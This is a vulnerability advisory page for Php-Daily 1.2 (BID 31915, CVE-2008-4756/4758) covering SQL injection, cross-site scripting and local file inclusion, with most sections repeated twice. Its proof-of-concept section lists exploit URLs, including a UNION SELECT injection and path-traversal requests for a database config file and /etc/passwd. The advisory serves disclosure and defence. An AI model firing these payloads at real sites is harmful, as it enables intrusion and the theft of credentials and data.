Php-Daily Multiple Input Validation Vulnerabilities
BID:31915
Info
Php-Daily Multiple Input Validation Vulnerabilities
| Bugtraq ID: | 31915 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-4758 CVE-2008-4756 |
| Remote: | Yes |
| Local: | No |
| Published: | Oct 25 2008 12:00AM |
| Updated: | Jul 05 2016 10:01PM |
| Credit: | 0xFFFFFF (WHITE-HACKER) |
| Vulnerable: |
Php-Daily Php-Daily 1.2 |
| Not Vulnerable: | |
Discussion
Php-Daily Multiple Input Validation Vulnerabilities
Php-Daily is prone to multiple input-validation vulnerabilities because it fails to adequately sanitize user-supplied input. These vulnerabilities include multiple SQL-injection issues, a cross-site scripting issue, and a local file-include issue.
Exploiting these issues can allow an attacker to steal cookie-based authentication credentials, view local files within the context of the webserver, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Other attacks may also be possible.
Php-Daily 1.2 is vulnerable; other versions may also be affected.
Php-Daily is prone to multiple input-validation vulnerabilities because it fails to adequately sanitize user-supplied input. These vulnerabilities include multiple SQL-injection issues, a cross-site scripting issue, and a local file-include issue.
Exploiting these issues can allow an attacker to steal cookie-based authentication credentials, view local files within the context of the webserver, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Other attacks may also be possible.
Php-Daily 1.2 is vulnerable; other versions may also be affected.
Exploit / POC
Php-Daily Multiple Input Validation Vulnerabilities
An attacker can exploit these issues via a browser. To exploit a cross-site scripting vulnerability, the attacker must entice an unsuspecting user into visiting a malicious URI.
The following exploit URIs are available:
SQL injection:
http://www.example.com/add_postit.php?mode=rep&id=-1+union+select+1,2,3,version(),5,6,7,8#
http://www.example.com/delete.php?prev=accueil&mode=postit&id=[SQL-INJ]
http://www.example.com/prest_detail.php?prev=[SQL-INJ]
http://www.example.com/mod_prest_date.php?prev=list&id=[SQL-INJ]
File include:
http://www.example.com/download_file.php?fichier=../include/connect.php
http://www.example.com/download_file.php?fichier=../../../../../../etc/passwd
Cross-site scripting:
http://www.example.com/add_prest_date.php?date=[XSS]
An attacker can exploit these issues via a browser. To exploit a cross-site scripting vulnerability, the attacker must entice an unsuspecting user into visiting a malicious URI.
The following exploit URIs are available:
SQL injection:
http://www.example.com/add_postit.php?mode=rep&id=-1+union+select+1,2,3,version(),5,6,7,8#
http://www.example.com/delete.php?prev=accueil&mode=postit&id=[SQL-INJ]
http://www.example.com/prest_detail.php?prev=[SQL-INJ]
http://www.example.com/mod_prest_date.php?prev=list&id=[SQL-INJ]
File include:
http://www.example.com/download_file.php?fichier=../include/connect.php
http://www.example.com/download_file.php?fichier=../../../../../../etc/passwd
Cross-site scripting:
http://www.example.com/add_prest_date.php?date=[XSS]
Solution / Fix
Php-Daily Multiple Input Validation Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].